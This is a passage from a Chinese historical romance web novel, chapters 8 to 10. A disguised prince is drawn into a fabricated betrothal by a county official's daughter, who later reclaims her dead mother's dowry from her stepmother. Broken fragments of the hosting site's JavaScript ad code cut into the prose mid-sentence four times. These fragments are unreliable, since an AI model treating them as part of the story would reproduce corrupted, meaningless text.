“公子,属下多方打听,清江县的百姓对许大人毁誉参半,有说他是贪官的,也有说他是好官的。”长缨细细解释。 顾清嘉一手握着茶盏,一手随意搭在扶手处,有节律地轻叩着。 哦,许淳此人,有财会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贪,有事也会有选择地做,在清江县任职十余年,与历任县令相处都算融洽,惯会溜须拍马。 听起来,他官位虽不大,却俨然是个滑不留手的惯常老油子。 蓦地,顾清嘉脑海中浮现出一抹时而柔弱,时而张狂的倩影。 还真是有其父,必有其女。 如此看来,许小姐做出上门逼婚的事,倒也不奇怪了。 不知那许小姐挥霍的银钱里,有多少是其父搜刮的民脂民膏? 顾清嘉眼中浮现出一丝阴戾。 待此间事了,许淳这小小地头蛇,他定会发落。 感受到主子周身气场变化,长缨不由打了个寒噤。 他心中为许淳默默哀悼,嘴上该禀的话却不敢少说一句。 “方才属下所禀,乃是许淳在公门中行事做派,至于其品性为人,属下不敢妄言。另有一要事禀报殿下,还请殿下自行决断。” 长缨说起关于当年的传闻,语气并无太多波澜。 “许淳早年家境贫寒,得原配孟氏青眼,厚聘为赘婿,生一女,芳名菱玉,便是公子在桂花巷遇见的那位许小姐。” 说到此处,顾清嘉神情略有波动,长缨顿住,等他发话。 “既是许淳入赘,为何其女未随母姓?”顾清嘉停下指尖动作,抬眼,眼神依旧漠然。 依大晋律,男子入赘者,其子女皆随母姓。 长缨自然知晓,是以特意追查求证过。 “初时确实随母姓,可许淳中举,任县丞后,顾惜声名,执意为其女改姓。许淳与原配孟氏时常为此争执,及至一日,两人大吵一架后,孟氏当夜失足落水,第二日在清江下游芦苇丛被人捞起。” 顾清嘉唇角多一分寒意。 “时人纷纷猜测,孟氏落水,乃许淳所为,但属下悄悄查过卷宗,并无谋杀痕迹,若卷宗未有隐瞒,孟氏应当是失足溺亡。”长缨尽量公允,语气却仍带一丝微不可察的迟疑。 显然,他和清江县知道此事的百姓一样,都认为太巧了。 可年代久远,除了当年卷宗,再无实据可考,长缨只能查到这些。 “唔,下去吧。”顾清嘉摆摆手。 待长缨走开两步,忽而又被唤住:“等等。” “公子还有何吩咐?”长缨以为,主子会让他去寻找当年可能目睹过的旧人,查清此事。 哪知,顾清嘉拿指腹摩挲着杯壁,若有所思问:“许小姐与其父的关系,如何?” 长缨倒是打听过,可他不能打草惊蛇,并未直接查问能接触到许淳父女的人。 是以,打听到的信息,语焉不详。 长缨略沉吟,低声禀:“据说许淳时常感叹管不住许小姐,且许小姐每年会到桂花巷小住几日,尤其清明时节,因这处院子乃其母孟氏的陪嫁。” 说到这里,长缨忽而想起一件小事:“听说许小姐此番搬来桂花巷前,与许淳起过争执,因许小姐不愿遵父命,入京参加皇妃择选。” 说完,长缨怔愣一瞬,忽而反应过来,此事对主子而言,也不能算事不关己的小事。 毕竟,若非主子悄然离京,过些时日,皇后娘娘也会为主子择一位正妃。 8. 婚约 “殿下。”长缨惊出一身冷汗,他意识到自己失职。 他竟没去细查许小姐为何不愿入京待选。 本以为主子会动怒,让他自行领罚,没想到顾清嘉默然一瞬,只冷冷吩咐:“退下。” 主子天潢贵胄,生来便当受万民敬仰,即使他自己无大婚之意,可听到身份低微的小官之女不愿参选,大抵也会因威严受损而生怒。 长缨本欲替许菱玉求情,对上顾清嘉不耐的目光,又忍住,躬身告退。 屋内安静下来,顾清嘉清晰听到院中风吹枝叶的沙沙声。 他默默转动茶盏,望着茶汤表面变幻的光影,脑中再度浮现起那抹已算熟悉的倩影。 “是你?竟然是你?” 顾清嘉忆起她在巷中认出他时的惊喜,也忆起她鬓边皎白的玉兰花。 原来她当时并非假装巧遇,也不是冲着他来的桂花巷,而是来悼念已故的母亲。 许小姐,哦,许菱玉,她竟是为了不入京参加皇妃择选,才想要仓促定下婚事的。 是了,许淳官居六品以下,许小姐云英未嫁,自然在待选之列。 她既无意做皇妃,却执意强嫁于他,看来与他先前猜测的并不一样,她并非受人指使,相反,她对他的身份恐怕一无所知。 顾清嘉淡漠无波的眼,浮起一丝不易察觉的兴味。 若有一日,那看似柔弱,实则轻狂的少女,知道自己捋了虎须,弄巧成拙,不知会是怎样的反应。 顾清嘉品一口放凉的茶水,目光穿过庭院,定格在古旧的院门上。 少女走出院门前,说什么来着? 她告诉他,她会嫁他,还说让他明日去县衙立婚书? 原本,顾清嘉以为自己不可能出现在县衙。 直到第二日,他不请自来,主动出现在县衙门口。 长缨出去办事,顾清嘉孤身前来,他想亲眼看看,那浑然不知自己惹上大祸的小可怜,要怎样逼他答应立婚书。 今日的衙门很是热闹,听说是许县丞的女儿亲自敲的鼓,让县太爷为她做主,周围的百姓都围过来,里三层外三层,有的眼神茫然,有些眼带兴奋。 “许小姐有事不让她爹做主,来衙门敲鼓升堂,这不是舍近求远吗?”一年轻妇人嘀咕。 身边一鬓发花白的老妇人,拄着拐杖,佝偻着脊背道:“你们年轻人不知道,都有说处的,老婆子我呀,早知道会有这一日。当年杀千刀的许县丞逼死原配,很快就娶了外室过门,就因为这外室能生儿子,呸!薄情寡义的狗官!” 压低声音淬了一口,又忍不住叹息:“女儿长大了,势必要为她亲娘伸冤的,也不枉她娘十月怀胎生她一场。” 另一身穿孔方纹绸衫的中年男子接话:“没凭没据的,话可不能乱说。如今的韦太太可是在孟氏死了以后才过门的,哪是因她能生儿子才娶的?我还听说,孟氏是要与野男人私奔,正好遇到那晚涨水,才跌进江里淹死的呢,苍天有眼呐。” “我看你才是含血喷人!”老妇人气得发抖,举起拐杖要打。 被家人拦住才作罢:“娘,这是在衙门口呢。” “是啊,是啊,都少说两句。”周围看客暂且收起好奇心,纷纷劝。 顾清嘉站在人群后,默默听着,目光盯着墙根下一丛顽强的野草,久久未移开。 县衙大堂内,许菱玉跪地,递上状纸:“大人,民女许菱玉,要状告秀才贾卿固悔婚,陷民女于不孝不义,还请大人为民女做主。” 马县令坐在长案后,手压惊堂木,有些不知所措。 “阿玉你有婚约在身?”马县令疑惑问。 继而转向身边不远处呆立的许淳,低斥:“你女儿有婚约你不早说?!” 许淳又气又急,脸都抬不起来。 可为了身上的深青色官服,他不得不耐着性子,快步走到马县令身侧,附耳解释:“大人休听小女胡言乱语,她要是有婚约,我做父亲的能不知道?” 随即,不等马县令发话,他先拍了一下惊堂木,斥道:“胡闹!你平日里任性妄为也便罢了,今日竟闹到县衙来,都是为父太纵着你了。来人呐,把小姐请回去。” 请字他咬得极重,余光瞥见衙门口围着的人群,他脸色黑如锅底。 今日就算把许菱玉拉回去,他的老脸也丢尽了。 到底是县丞之女,若当着县丞的面生拉硬拽,等回头父女俩和好了,遭殃的是他们这些粗人。 差役们拄着水火棍,你看看我,我看看你,一时没动。 “慢着。”许菱玉从袖中取出一块藕荷色帕子,展开来,双手呈给马县令,“县令大人请看,民女有物证。” 闻言,马县令狐疑地探头看去。 许淳也伸长脖子,急急朝她手心望去。 只见许菱玉手中帕子上,赫然摆着两块残缺的半圆形玉片,合在一起,正好是一块玉璧。 玉片雕刻云纹,玉质润泽细腻,许淳从未见过。 “这不是我们许家的东西。”许淳盯着许菱玉,明确否认她所谓的物证。 许菱玉弯唇,不慌不忙道:“当然不是许家的,这是阿娘留给我的,芹姨从旧物里找出来,女儿才知晓这桩婚事。” 许淳傻眼。 孟茴的嫁妆,芹姨素来不让他碰,后来甚至搬了好些去桂花巷,防他像防贼。 那些嫁妆里,究竟有没有这样的玉璧,许淳确实不得而知。 时间过去太久,即便当年孟茴拿给他看过,他也记不清了。 “芹姨说,此玉璧乃是阿娘与手帕交指腹为婚的信物,各留一半,以为凭证。女儿本以为要四处找寻未婚夫君的下落,没想到无意间得知秀才贾卿固手里有这另一半玉璧。” “爹若不信,不妨请差役前往桂花巷,将贾秀才带来,女儿敢与他当面对质。”许菱玉语气不疾不徐,姿态从容。 马县令已全然相信她,许淳也被她唬住大半。 只是,这婚约出现得未免太突然,也太及时了些,由不得他不疑心。 许淳刚要开口,被马县令横了一眼,冷静下来。 方才是他僭越了。 “大人,请您吩咐。”许淳躬身,谄媚地笑着请命。 许菱玉压低眼皮,盯着手中玉璧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,对许淳的狗腿姿态眼不见为净。 马县令昂首挺胸,从签筒中取出一支红签,掷给差役:“带秀才贾卿固!” 差役刚捡起红签,未及转身,便听人群后一男子朗声道:“不必了,草民贾卿固在此。” 身后传来意料之外的声音,许菱玉眼中刚生出的得意,悉数化作惊愕。 她攥着玉璧,蓦然回首,耳下白玉坠子衬得她乌发如瀑,眸似点漆。 顾清嘉目光掠过许菱玉,望向长案侧的许淳,又收回,落在许菱玉手上。 观许淳其人,很难想象他能生出许小姐这般灵慧的女儿。 不过,更让顾清嘉想不到的是,许菱玉敢拿伪证,编出一段婚约,藐视公堂。 “许小姐口中的信物是什么?可否让小生看看?”顾清嘉姿态谦和,嗓音清润。 “卿固,你怎么来了?你愿意承认我们的婚约了是不是?”许菱玉面上娇娇柔柔,双眸噙着水光望着顾清嘉,一副六神无主的模样,可她脑子转得飞快。 她状似激动,双手发颤,打开藕荷色帕子,亮出里头好生收着的两块残玉,带着哭腔反问:“可是当着县令大人的面,你怎么还能装作不认得这信物呢?” “你瞧瞧。”许菱玉捏起其中一块残玉,举至顾清嘉眼前,泪眼哀戚,“这一块不正是你昨日强行还给我的么?说你家道中落,配不上我,要我另择良配。我许菱玉虽为女子,却也曾读书明理,不是那等背信弃义的小人。昨日在你屋里,我便说过,即便闹上公堂,也必遵母亲遗命,非君不嫁。” 随即,不等顾清嘉开口,她侧过身,面朝公堂外围观的百姓,柔柔躬身:“还请父老乡亲们做个见证。” 昨日贾秀才还说不会答应娶她,许菱玉以为他今日会躲出桂花巷,差役们找他还得费一番功夫。 没想到,今天太阳打西边出来,贾秀才自己乖乖送上门来。 或许,他已有些了解她的性子,知道她不达目的不罢休,怕她仗着许淳的权势,让人把他绑上公堂,有辱斯文,所以自己来? 不知他来了有多久,不过他张口就问信物,显然是听到她方才说的那些胡诌的话了。可他走进公堂时,依然步履从容,挺拔秀逸,气度清华。 这一本正经的傻秀才,定然以为能在公堂上以理服人,由马县令主持公道? 许菱玉说完,别开脸,捏起帕子作拭泪状,我见犹怜。 金钿站在另一侧扶着她,分明瞧见,她家小姐在拿帕子遮笑呢! 想想小姐方才一番义正言辞的鬼话,金钿也想笑,可她不得不咬唇忍住,不能给小姐拆台。 马县令和许淳瞠目结舌,外头围观的百姓们交头接耳,已有热心肠的百姓忍不住劝:“许小姐是个好姑娘啊,贾公子就成全她一片孝心吧。” “是啊,是啊。”百姓们纷纷附和。 顾清嘉却被许菱玉手中信物吸引住,一时没顾上反驳她的胡言乱语。 他看着许菱玉手中两块残玉,抬起手,将两块玉拼合,正好严丝合缝,拼成一块玉璧。 这样的成色,质感,他曾见过的,在皇祖父那里。 9. 婚书 皇祖父有十一块这样的青玉璧,大小相差无几,雕刻的纹样各不相同,背面还刻了字。 纹样他已记不清,刻字却还记得,只因那十一个字,各对应十二时辰里的一个。 子丑寅卯,巳午未,申酉戌亥。 “皇祖父,怎么少了一个辰字?”年幼的他把玉璧当玩具摆成一排,疑惑地问祖父。 依稀记得,皇祖父华发如银,望向秋风席卷的宫苑,背影落寞,久久不言。 皇祖父去世后,他再没见过那些玉璧。 顾清嘉拿起拼合的玉璧,拇指轻压着正面的云纹,食指指腹摩挲着背面,摸到背后雕刻的字迹,动作顿住。 思绪从久远的往事拉回,顾清嘉将玉璧翻转,心中猜测纷纷落定。 玉璧背面,赫然刻着一个“辰”字。 若辰云玉璧乃皇祖父遗失之物,当初他问的时候,皇祖父为何沉默不语? 顾清嘉不清楚玉璧代表什么,可他知道,此物不是寻常百姓能拥有的。 “这当真是许小姐母亲的遗物?”顾清嘉捏着玉璧,轻问。 他的语气有种说不出的情绪,许菱玉听不懂他在想什么。 他不是该反驳她的话,自证清白吗? “是。”许菱玉秀眉微挑,“总不可能是我去偷别人的,来冒领婚约?对我来说,有什么好处呢?” 外人看来,贾卿固确实是个贫寒布衣,除了长得俊些,别无长物,若非母亲遗命,许小姐哪会放着选秀的机会不要,把与他的婚约宣扬开? 顾清嘉颔首,将玉璧放回她手中:“确实是块好玉。可它完完整整属于许小姐,并非什么订婚信物。” 顾清嘉收敛心绪,语气平和笃定。 他倒要看看,眼前的许小姐还能如何狡辩。 “你还不肯承认?”许菱玉早已想好说辞,仰面望他,单薄的身姿清傲不屈,似亭亭玉立的荷,“你也说这是好玉,若不是订婚信物,谁会把这样好的玉摔成两半?” 有道理,顾清嘉暗自称许。 此玉璧若真与他见过的那些是一套,必是极为重要的传家之宝,论理,许菱玉再想逼迫他,也不至于对传家宝下手。 随意找块玉,或是旧帕子撕成两半,也能达到效果。 顾清嘉不得不承认,许菱玉的话虽没一句是真,却很让人信服。 若非被逼婚的对象是他自己,他几乎要忍不住赞赏她的急智。 偏偏对象是他,是原本打算拒绝到底的他。 顾清嘉目光自她巧言善辩的唇,移至她手中摔成两半的玉璧,齿根微痒,头一回体会到哭笑不得的滋味。 他竟真被一个胆大包天的小姑娘算计着了。 马县令和许淳已被许菱玉彻底说服。 “许县丞,看来本县该向你贺喜了。”马县令冲许淳拱拱手,随即朗声唤,“来人,呈文书!” 许淳对看起来一表人才,实则不能给许家带来任何好处的落魄书生,是在难以接受。 可当着马县令和无数百姓的面,难道他要反悔,解除亡妻定下的婚约么? 他不能。 许淳狠狠剜了顾清嘉一眼,恨得直咬牙。 许菱玉有意无意打量着许淳的反应,正好捕捉到他隐忍的怒气,心情越发愉悦。 衙门当场为他们拟定婚书,莫名其妙的婚约,就此敲定。 许菱玉以为,她把贾秀才欺负到这份儿上,贾秀才再好的脾气,也该着恼了。 没想到,对方捏着婚书,俊颜并无丝毫愠色,风仪不减。 “秀才,你脾气可真好,我喜欢。”许菱玉立在青帷油壁软轿侧,拿婚书轻轻拍了拍顾清嘉衣襟,“放心,成婚以后,只要你乖乖听话,我不会亏待你的。” 县衙门口,柳条低垂,自由随风。 顾清嘉立在柳荫畔,望着少女乘坐的青帷油壁软轿走远,脑中回响着她的话。 “只要你乖乖听话,我不会亏待你的。” 明明弱质纤纤,口气却不小。 嚣张的一句话,让顾清嘉不由重新思量起自己的假身份。 须臾,他眉心舒展,薄唇弯起一丝清浅弧度。 未时刚过,长缨办完事,回到小院。 见自家公子正立在书案侧练字,长缨便默默在门外候着。 直到顾清嘉搁笔,长缨才捧着茶水,躬身进去。 “公子,属下已见过上官霈,他和宁王一样,暂未查到蛛丝马迹,仍在责令马县令加派人手追查。”长缨将茶水放到桌上,躬身禀报。 上官霈乃玄冥卫指挥使,特意为查药材失窃案而来。 当初药材失窃,宁王叔进京请罪,父皇命他彻查此案,找回药材,戴罪立功。 太子皇兄信不过宁王叔,专程请旨,以不敢让宁王叔太过伤神为由,指派上官霈协理此案。 他和长缨都悄悄去云雾山查探过,一无所获。 除非宁王和上官霈有通天的本事,或者宁王故意露出马脚,否则也很难快速查到线索。 顾清嘉早已察觉到六大王爷各有私心,表面上闲散忠心的宁王叔也是一样。 宁州是宁王叔的地盘,明知那药材里有太子皇兄的救命药,极有可能演一出贼喊捉贼的戏码,事后销毁证据,也易如反掌。 但纸是包不住火的,顾清嘉不信抓不到他的狐狸尾巴。 “嗯,知道了。”顾清嘉轻应,暂且将心中怀疑压下。 随即,他想到什么,坐到桌旁,拿起长缨斟好的热茶,顿了顿道:“近日我会与许小姐成婚,你准备一下。” 长缨:“??” 长缨愣了一瞬,回想一遍顾清嘉说的话,反应过来,倒吸一口气,连心跳也停滞一息,惊得说不出话来。 他就离开半日,公子怎么突然就要成婚了?! 原本他还担心公子知晓许小姐不愿参选,会迁怒许小姐,他还想过求情来着。 这半日里,公子和许小姐之间究竟发生了什么? 公子是说要成婚吧?长缨有种头重脚轻的不真实感,甚至怀疑自己最近办差休息太少,出现幻觉。 还是公子知道许小姐在待选之列,突然对许小姐生出男女之情? 男女之情?他家公子是会有这种情感的吗?长缨只想想,便忍不住一哆嗦。 再说,以公子的脾性,明知许县丞之为人,怎么可能娶这种小人的女儿? “公子?”长缨悬着胆子,试探问,“您在说笑?” 他宁愿相信公子闲得会讲笑话了,也无法相信公子要成亲。 “不准备也无妨,许小姐说过,会悉数包办,不必我费心。”顾清嘉瞥一眼长缨震惊的神情,慢条斯理饮一口茶,“许小姐那边如何安排,你配合便是。” “??”公子是真要成亲?还是许小姐包办?长缨望望外边的日头,震惊到麻木,眼神茫然,“公子有命,属下自当配合许小姐,只是,公子是否要往京城报个信?” 二皇子悄悄离开京城,还与许小姐私定终身,皇上和皇后娘娘若知道,会是怎样的反应?长缨不敢想,也不敢瞒。 “不必。”顾清嘉放下茶盏。 细瓷茶盏落在木桌上,轻轻一声响。 长缨却是肝胆俱颤,硬着头皮应:“是。” 顾清嘉没多解释:“想知道什么,自己去查。” 言毕,起身回到书架旁,目光沿着书脊划过去,顿住,抬手抽出其中一卷书。 此书乃是当初许菱玉替他付银子买的书册之一,顾清嘉打开封皮,目光落在书中内容上,心神却飘远,回想着书坊里初见的一幕幕。 当初他说会还她银子,没想到许菱玉会机缘巧合讹上他,要她以身相许。 小姑娘倒是,敢想敢要。 主子说他能查,长缨便没按捺好奇心,趁着不用当差的功夫,去街上转了一圈。 半个时辰后,长缨伪装成好打听闲话的市井小民,从百姓口中东拼西凑,终于明白他不在的半日,公子被许小姐叫到衙门公堂上,演了一出怎样惊世骇俗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的大戏。 直到回来路上,长缨还木愣愣的,挠着脑门,百思不得其解。 他自少年时便跟在公子身边,公子身上有没有婚约,他能不知道吗? 若公子有婚约,哪里还需要皇上和皇后张罗择选秀女? 还说是指腹为婚,皇后娘娘身份尊贵,甚少离开京城,更何况是身怀六甲之时,她绝不可能与所谓的平民成为手帕交,还为二皇子定下婚约! 许小姐怎样编造事实,长缨不需要去理解,为何盯上他家公子,也可以以后再查探。 长缨不能理解的是,他家公子明知对方胡编乱造,怎么会任由马县令那糊涂官订立婚书? “阿玉!开门!”咚咚的敲门声,伴着一声暴喝,打断长缨思绪。 长缨走在一株桂树旁,停下脚步,循声望去。 只见一位身量高大精壮的少年,穿着皂靴,站在一户人家门口,正重重拍那户的院门。 诶?那似乎是许小姐家的院门? 长缨下意识往前走两步,更靠近些。 院墙上爬满凌霄花藤,还真是许小姐家! 吱呀一声,院门从里打开,是许小姐的丫鬟开的门。 “高公子,小姐不让你在门口大呼小叫,让奴婢请你进去。”金钿的话,大半是冲着高澍跑进去的背影说的。 院门重新合上,长缨听不见里头的动静,悄无声息挪到那院门侧,耳廓紧贴院墙。 许菱玉正坐在廊庑下的美人靠上,斜倚栏杆,一条手臂撑在靠背上,手里捧着看了一小半的话本子。 她身侧卷足小几上,摆着两盘茶点,绿玉糕和杏花酥。 听到高澍冲进来,她抬眸含笑招呼:“就知道你会来,特意让金钿准备了你爱吃的茶点,自己都没舍得吃,专等你了。” 听到这话,高澍气焰顿时熄了大半。 坐到许菱玉对首时,自己也觉得自己没出息,瞥一眼小几上的茶点,哼哼唧唧道:“我一个大男人,什么时候喜欢吃这些了?阿玉,你冷血,你无情,你素来知道我心悦你,却从来不肯对我多上一分心。” 许菱玉最受不了他这样婆婆妈妈的,放下话本子,推了他一把:“胡说八道什么?你不爱吃,我怎么经常瞧见你买?” “我那是见你爱吃,买给你的!”高澍恨得牙痒痒,却是一点办法都没有。 “说正事,休想打岔!”高澍盘起长腿,窝在小几对侧,盯着许菱玉,“阿玉,你那婚约是假的是不是?你骗得了别人,可骗不了我。你的事,我什么不知道啊。也就是我今日出城办差去了,否则定会当堂拆穿你。你不想入京择选,不愿嫁我,我都可以等,可你为何要嫁给旁人?那姓贾的穷小子是打哪儿冒出来的?我要跟他打一架,让他知难而退!” 高澍说着说着,火气又窜上来,义愤填膺。 外头长缨听着不对劲,在高澍话说到一半的时候,便以最快的速度回家禀话去了。 “有位高公子,来者不善,正在找许小姐麻烦,公子你快去看看。”长缨长话短说,简明扼要。 顾清嘉微微拧眉。 踌躇一瞬,到底还是放下书卷,出来在许菱玉。 他站在许菱玉家院门外,抬起手,未及叩门,便听见高澍后面那两句。 叩门的动作滞了滞,指骨没往下落,眼底划过一丝玩味,耳尖不由自主竖起。 许菱玉哪知隔墙有耳? 对婚约的事不置可否,她只是笑着横了高澍一眼:“我又不是比武招亲,谁许你喊打喊杀的?婚书已立,婚事即成,如今贾秀才便是我夫君。他一介书生,自不是你一个莽夫的对手,可你若敢欺负他一下,动他分毫,便是跟我许菱玉过不去。” “往后,我们连兄弟也没得做了。”许菱玉拿湿帕擦擦指尖,拈起一块绿玉糕,递至气鼓鼓的高澍面前。 “打一巴掌,再给颗甜枣,阿玉,你训狗呢?!”高澍仍旧不服气,可他怕许菱玉真的不认他这个朋友了。 放完狠话,到底还是张开嘴。 10. 嫁妆 许菱玉生得白,拈着剔透软弹的绿玉糕,纤细的指更是细腻如美玉。 绿玉糕入口,馨香甘甜,高澍垂着眼皮,待她收回手,才拿舌尖卷起绿玉糕。 再喜欢,未得她允许,他也从未敢唐突她半分。 绿玉糕清甜可口,高澍咬牙切齿嚼着,心里却泛起阵阵苦涩。 “阿玉,你想成亲,我是第一个排队的吧?你怎么就不愿看看我呢?”高澍知道暂时已成定局,还是忍不住想挽回,眼神黯然,近乎卑微,“阿玉,若成亲后,你发现他不够好,便给我一个机会行不行?我高澍一定全心全意只待你好。” “怎么?只做朋友,你就不待我好了?”许菱玉稍稍歪着脑袋,情态天真烂漫,狡黠反问。 高澍急了,匆忙解释:“我不是这个意思,我……” 许菱玉又拈起一块杏花酥,塞他嘴里:“吃你的点心吧!” 其实,她相信高澍会待她很好。 可这样的好,太真诚,太密集,如夏日的暴风雨,让她心里有负担。 勉强自己的日子,她是一日也过不下去。 直到此刻,许菱玉才不得不承认,她有时会想逃避高澍。 她很清楚,她永远给不了高澍想要的感情。 她看过许多话本子,里头有无数的才子佳人故事,故事里的佳人,遇上心仪的郎君,是会小鹿乱撞,思之如狂的。 许菱玉对高澍,从未有过这种情绪波动。 在她心里,高澍与金钿并无区别。 她与高澍,做朋友,才是刚刚好。 而贾秀才呢,他不爱她,她也不爱他,他们甚至不熟悉,分分合合都毫无压力,无忧亦无怖。 想到即将成亲,许菱玉没有太多新嫁娘该有的期待或是紧张。 她心境平和,轻松自在。 许菱玉含笑欣赏着小院中,芳树随风舞动的花叶,活像她即将彻底飞离许家大门的翅膀。 院门外,顾清嘉放下悬滞已久的手,没叩门,而是悄然离开。 “……你若敢欺负他一下,动他分毫,便是跟我许菱玉过不去。”少女特有的声线,仿佛仍萦绕在他耳畔。 顾清嘉衣袂翩动,唇角微弯,素来深邃难测的双眼,也泛起粼粼笑意。 他的小“娘子”,尚未过门,倒先进入角色,护着他这个做“夫君”的了。 顾清嘉从未想过,自己会有被个弱女子维护的一日,他也是第一次听女子唤他“夫君”,虽不是当着他的面,依然令他心中生出一丝异样。 怪怪的,但那感觉谈不上厌烦。 他的小“娘子”,比他想象中要有趣得多。 “婚约”是许菱玉编造的,新郎官是她坑蒙拐骗来的,婚事定的算得上草率,婚期也定的仓促。 芹姨翻出老黄历,还嘀咕着要去庙里拜拜,捐些香油钱,定个黄道吉日。 许菱玉摇摇头:“不必麻烦,就定十日后。金钿你留下,陪着芹姨张罗,我先回许家待嫁。许家宴请的事,让许淳和二太太操心去,若让他们光收礼金不伤脑筋,岂非便宜他们了?” 都安排好了,这才想起巷尾那待娶的新郎官,许菱玉又补上几句:“贾秀才那里,金钿你去说一声,也不必他准备什么,我会让裁缝来给他量衣做喜服,到时把婚房设在咱们院里。哦,对了,金钿你记得收拾出两间厢房,给秀才和他那随从住。” “小姐,毕竟是终身大事,这样安排会不会太简单仓促了些?”金钿觉得小姐的婚事,不能办得这样委屈,又道,“嫁衣也来不及绣,不知道多少事要准备呢,奴婢在这里可待不踏实。” 芹姨望着许菱玉,也是一脸忧心焦急。 许菱玉杏眼含笑,捏捏金钿脸颊,目光扫过她们两个:“知道你们心疼我,但这就是我想要的婚事啊,其他有什么要操心的,自有许家仆婢去办,累不着我。再说,婚事办得风不风光,也不看准备的时间长短,得看嫁妆有多丰厚不是?” “我是要回去找许淳要嫁妆去。”许菱玉笑眼灵慧,望着芹姨,“芹姨,把当年我娘的陪嫁单子找出来,我誊抄一份,亲自找许淳对账。” 巷尾的院子里,顾清嘉以为,婚事定下,许菱玉会时常借故往他这边跑。 以此熟悉他这个人,或是给他定各种规矩。 没想到,许菱玉一次也没来,只派了丫鬟来,转达了她关于婚仪和新郎喜服的安排。 长缨往包大娘家送谢媒礼回来,顾清嘉才知道,许菱玉昨日就已经离开桂花巷,搬回许家去住了。 顾清嘉磨墨的动作,不知不觉放缓。 许菱玉此举,可不像是相中他这个人,更像是把他当做一件,成亲必不可少的摆设。 不过,于他而言,也不是一桩需要认真对待的亲事。 顾清嘉并未过多困惑,乐得清静,很快将心神放回药材失窃案上。 清江县衙,马县令将写着寥寥数人的待选名单加急发出,随即走进许淳的班房叹道:“哎,总算是了结一桩事,但药材失窃的案子,咱们还一点线索也没查到,老许,你说可怎么好?总觉得我这项上人头已经不稳当了。” “大人不必太过心急,宁王殿下定的期限才过去不到十日,今日高县尉不又带人进山了么,兴许明日就能查到线索,把药材找回来呢?”许淳放下手头的文书,挤出勉强的笑劝慰。 家中的事,手头的事,哪一样都让他焦头烂额。 他还不得不耐着性子宽慰上峰,谁来宽慰他啊? 他的好女儿,不光不宽慰他,还专程回来给他添堵。 旁人生的闺女,攀上高枝,提携门户,光宗耀祖,是来报恩的。 他的女儿,活像是来报仇的。 养她十七载,她竟拿着孟茴的嫁妆单子,一样一样与他对峙! 许淳想着,正暗自怄气。 便听马县令激动地拍了一下桌案道:“阿玉的婚事,你好好办,办得风风光光,热热闹闹的。咱们衙门好久没添喜事,兴许能借阿玉的婚事冲冲喜,去去晦气,我这乌纱帽就保住了呢?!” “是,是。”许淳连连点头附和,笑得比哭还难看。 许家,许菱玉捏着嫁妆单子,袅袅婷婷站在继母韦淑慧屋内,慢悠悠四下环顾。 “阿玉,你这是做什么?你从不肯唤我一声娘,可名份上我毕竟是你的母亲,你怎能无礼地检查我的屋子?不成体统!”韦淑慧站到她身前,摆出长辈的派头,愤怒指责。 许菱玉仿佛没听见,抬手不轻不重拨开她,款步走到她琳琅满目的妆台侧,止步回眸:“二太太,若我没认错,这点翠金凤衔珠簪、花开富贵红玉金钗,都是我娘嫁妆里的东西吧?” 韦淑慧见势不妙,快步上前,想把东西藏起来。 可许菱玉年少轻盈,反应敏捷,已先一步将东西抓在手中。 韦淑慧面色涨红,火辣辣的,但她绝不会承认,嘴硬道:“你胡说,我何曾动过孟姐姐的东西?我又不缺首饰,不需要惦记她的遗物。这些都是你爹送我的。” “哦?二太太说是我爹偷拿的我娘遗物?”许菱玉不给她反驳的机会,将东西放入广袖内的袖袋中,“东西我先收着,等爹回来,我会向他证实。” “你!”韦淑慧感觉自己被当成了偷东西的贼,眼睛瞪着许菱玉,几乎能冒火。 罢了,许菱玉不好招惹,等许淳回来,让他自己去教训。 韦淑慧忍住怒气,别开脸,指着门口:“你出去,母亲这里不欢迎你。” “二太太,待会儿我让丫鬟给你送两盒好牙粉吧,你口气熏着我了。”许菱玉故意拿帕子掩住口鼻,嫌弃地绕过她,避开数步远,才对脸快气绿了的韦淑慧道,“我今日来,是为知会二太太一声,婚期定在九日后。二太太筹备婚事的时候,切莫忘了把我娘的嫁妆都放回原位。那都是娘留给我的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 东西,样样都无可取代。” “三日后,我会再跟爹对账,若还少什么,别怪我不信任二太太的管家能力,要来亲手翻二太太的箱笼,看看是不是哪个手长的贱婢偷拿了主子东西,藏到二太太这里了。” “你敢!”韦淑慧说着,伸手便要去抢许菱玉手中的嫁妆单子。 许菱玉稍一侧身,灵活避开,扬起列了数页的一沓嫁妆单子,浅笑:“身正不怕影子斜,二太太抢单子,是心里有鬼吗?不过,你就算抢去也没用,这只是我誊抄的一份罢了。” 随即,她气定神闲折好单子,收入袖袋:“二太太若想看,我也可以让人多抄几份,贴在衙门口,出嫁那日,让宾客、百姓们做个见证。” 许成琢从外面回来,刚走到门口就听到这话。 他顾不上说什么,赶紧加快脚步,扶住被气得摇摇晃晃的他娘。 “阿姐,娘拿了你什么,我让她还你就是了,你别生气。”许成琢扶着韦淑慧坐到圈椅中,却不敢指责许菱玉什么,语气带着很没血性的规劝。 “你住口!”韦淑慧很少对儿子说重话,这会子急火攻心,怎么也忍不住。 快被气死的人是她好吧?! 儿子作为许家唯一的香火,却连替她出气都不敢。 还说让她把东西还给许菱玉,说的轻巧,还了许淳可买不起那些。 可显然,许菱玉听进去了,对同父异母弟弟的话很满意:“好,我回去等着。我耐心有限,只等三日,成琢你好好劝劝二太太。” 金钿留在桂花巷,跟许菱玉一道过来正院的,都是许家的小丫鬟,需要仰韦氏鼻息过活。 是以,许菱玉特意让她们在院外候着,免得她们难做。 待许菱玉出来,她们才敢默默垂首跟着,个个噤若寒蝉。 许菱玉一路往自己的院子走,望着小径、游廊旁的景致,只有淡淡的留恋,眼中更多的是激动的神采。 阿娘,女儿终于长大成人,等到这一日。 许淳回来后,许菱玉去书房与他谈了半个时辰。 后来,不知许淳如何与韦淑慧商量的,听说韦淑慧气得砸了好几副心爱的碗碟杯盏。 但第三日,阿娘嫁妆单子里,留在许家的东西,总算凑齐了,摆在许菱玉眼前。 